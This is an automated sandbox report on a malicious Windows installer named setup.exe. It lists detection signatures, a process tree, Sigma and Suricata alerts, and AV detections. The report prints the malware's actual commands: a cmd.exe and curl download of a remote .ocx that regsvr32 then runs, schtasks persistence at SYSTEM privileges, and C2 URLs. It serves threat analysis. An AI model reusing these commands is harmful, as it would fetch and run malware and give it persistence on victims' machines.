Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1630230
MD5:	709bed9cee70325715c2ecbb759d4ec1
SHA1:	58a535980d2528c06f32d29061d62c85d3486684
SHA256:	49c0d9ca62ebf73a7d241726ba5e063e3fbdec8d034e476a101a21d195e725df
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Msiexec Initiated Connection

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected AdvancedInstaller

Classification

Process Tree

System is w10x64

setup.exe (PID: 6264 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: 709BED9CEE70325715C2ECBB759D4EC1)

setup.exe (PID: 3496 cmdline: "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="6264" CHAINERUIPROCESSID="6264Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\setup.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741190130 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\setup.exe" AI_INSTALL="1" MD5: 709BED9CEE70325715C2ECBB759D4EC1)

msiexec.exe (PID: 5172 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 2828 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding F14E2A76A442D6363321E428E36E8EED C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 3052 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 33E88EEEEB332764F0F0CD6649DD4742 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 2652 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding C61A3434910668BD7A1090272067B3E4 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MainSoftware.exe (PID: 4080 cmdline: "C:\Program Files (x86)\Main\MainSoftware.exe" Persistent MD5: 7E91C0735D8936E8572276340A6F252E)

schtasks.exe (PID: 1704 cmdline: "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2816 cmdline: "schtasks.exe" /run /tn "MyPersistentApp_Hourly" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 2196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SoftwareDistributor.exe (PID: 6468 cmdline: "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://datashieldsecure.com/amz/?source_id=1 MD5: 2662878C97303F23A828146797CC4827)

schtasks.exe (PID: 7136 cmdline: "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MainSoftware.exe (PID: 3868 cmdline: "C:\Program Files (x86)\Main\MainSoftware.exe" Loop MD5: 7E91C0735D8936E8572276340A6F252E)

Install.exe (PID: 7160 cmdline: "C:\Program Files (x86)\Main\Chop\Install.exe" MD5: 675F1B648B3E8810A4A32FE32546490B)

conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1660 cmdline: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 1344 cmdline: curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\262810.ocx" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

regsvr32.exe (PID: 6924 cmdline: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\262810.ocx" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

Install.exe (PID: 1888 cmdline: "C:\Program Files\Surfclub\Install.exe" install https://datashieldsecure.com/amz/?source_id=1 MD5: 943BC558E7ED8FAEC5BF47A2352D42FE)

Surfclub.exe (PID: 5408 cmdline: "C:\Program Files\Surfclub\Surfclub.exe" install https://datashieldsecure.com/amz/?source_id=1 MD5: B051BE15C447E9C62AB13FC72A39D218)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AdvancedInstaller	Yara detected AdvancedInstaller	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f, CommandLine: "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://datashieldsecure.com/amz/?source_id=1, ParentImage: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe, ParentProcessId: 6468, ParentProcessName: SoftwareDistributor.exe, ProcessCommandLine: "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f, ProcessId: 7136, ProcessName: schtasks.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f, CommandLine: "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://datashieldsecure.com/amz/?source_id=1, ParentImage: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe, ParentProcessId: 6468, ParentProcessName: SoftwareDistributor.exe, ProcessCommandLine: "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f, ProcessId: 7136, ProcessName: schtasks.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 172.67.183.127, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 2652, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49737

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DestinationIp: 34.160.111.145, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 6924, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49971

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\262810.ocx", CommandLine: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\262810.ocx", CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1660, ParentProcessName: cmd.exe, ProcessCommandLine: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\262810.ocx", ProcessId: 6924, ProcessName: regsvr32.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", CommandLine: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Main\Chop\Install.exe" , ParentImage: C:\Program Files (x86)\Main\Chop\Install.exe, ParentProcessId: 7160, ParentProcessName: Install.exe, ProcessCommandLine: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", ProcessId: 1660, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-05T16:59:52.555583+0100	2803305	3	Unknown Traffic	192.168.2.4	49995	172.67.183.127	443	TCP

ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-05T16:58:57.023374+0100	2829202	1	A Network Trojan was detected	192.168.2.4	49737	172.67.183.127	443	TCP
2025-03-05T16:59:14.994610+0100	2829202	1	A Network Trojan was detected	192.168.2.4	49739	172.67.183.127	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://wetransfers.io/v.php	Avira URL Cloud: Label: malware
Source: https://datashieldsecure.com/amz/?	Avira URL Cloud: Label: malware
Source: https://datashieldsecure.com/amz/?source_id=1	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\262810.ocx

Avira: detection malicious, Label: TR/Agent_AGen.wslhm

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Main\Chop\Install.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\262810.ocx	ReversingLabs: Detection: 51%

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Program Files\Surfclub\Install.exe	Directory created: C:\Program Files\Surfclub\Surfclub.exe
Source: C:\Program Files\Surfclub\Surfclub.exe	Directory created: C:\Program Files\Surfclub\uuid
Source: C:\Program Files\Surfclub\Surfclub.exe	Directory created: C:\Program Files\Surfclub\domains

Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\How to uninstall.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.210:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.210:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.228:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.127:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.228:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:50016 version: TLS 1.2

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdb source: MainSoftware.exe, 00000013.00000002.2503002446.0000020F3A5F0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574581744.000001A50AC90000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdb source: MainSoftware.exe, 00000013.00000002.2502593462.0000020F3A561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502506832.0000020F3A521000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Json\Release\net8.0\System.Text.Json.pdb source: MainSoftware.exe, 00000013.00000002.2489583229.0000020F375AC000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489694248.0000020F37641000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdb source: MainSoftware.exe, 00000013.00000002.2489300922.0000020F37511000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489560998.0000020F37591000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489475473.0000020F37577000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdbSHA256P?> source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37113000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488514061.0000020F37141000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net8.0-windows\System.Security.Cryptography.pdb source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37216000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488782180.0000020F372E1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F35470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdb source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37211000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Security.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488625597.0000020F371C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488546167.0000020F37179000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Principal.Windows.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503289063.0000020F3A631000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503182962.0000020F3A611000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575095760.000001A50ACF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdb source: MainSoftware.exe, 00000013.00000002.2489276519.0000020F37501000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489234377.0000020F374F1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ObjectModel.ni.pdb source: MainSoftware.exe, 00000013.00000002.2486229465.0000020F34474000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdbSHA256t source: MainSoftware.exe, 00000013.00000002.2502776162.0000020F3A5B1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502635521.0000020F3A5A2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574402265.000001A50AC51000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F3775D000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490316786.0000020F37781000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DFD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.Json.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489453415.0000020F37561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489389183.0000020F3754A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2554946567.000001A507DB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Installers Project\Generic\ConsoleApp1\obj\Release\net8.0\win-x64\ConsoleApp1.pdb source: MainSoftware.exe, 00000013.00000002.2485317241.000001CE9F771000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485250859.000001CE9F767000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdb source: MainSoftware.exe, 00000013.00000002.2502957878.0000020F3A5E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502832383.0000020F3A5CD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdb source: MainSoftware.exe, 00000013.00000002.2487020549.0000020F351A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487094284.0000020F351D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2540077777.0000016470123000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Text.Json.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489583229.0000020F375AC000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489694248.0000020F37641000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Linq.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487020549.0000020F351A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487094284.0000020F351D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2540077777.0000016470123000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdb source: MainSoftware.exe, 00000013.00000002.2487832561.0000020F354C9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487899580.0000020F354D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2546435914.000001A505E01000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.EventBasedAsync.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2489977509.0000020F3773C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490087775.0000020F37741000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog/obj/Release/net8.0/Serilog.pdb source: MainSoftware.exe, 00000013.00000002.2487213233.0000020F35241000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487133129.0000020F3520D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdbUGP source: setup.exe, 00000000.00000003.1755437103.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1932053520.000000000784C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2487586989.0000020F353C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487462974.0000020F35318000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Collections.ni.pdb source: MainSoftware.exe, 00000013.00000002.2485624708.000001CE9F8F1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485552514.000001CE9F8C9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2539907807.00000164700D9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net8.0\System.Private.Uri.pdb source: MainSoftware.exe, 00000013.00000002.2488949645.0000020F373C7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489017313.0000020F373F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F3547B000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487805041.0000020F354A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: MainSoftware.exe, 00000013.00000002.2484894819.000001CE9DE41000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488855338.0000020F373AB000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2503002446.0000020F3A5F0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574581744.000001A50AC90000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Claims.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37211000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2489300922.0000020F37511000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ObjectModel\Release\net8.0\System.ObjectModel.pdb source: MainSoftware.exe, 00000013.00000002.2486229465.0000020F34474000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Ping.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F35470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x64\Release\System.Private.CoreLib.pdb source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp
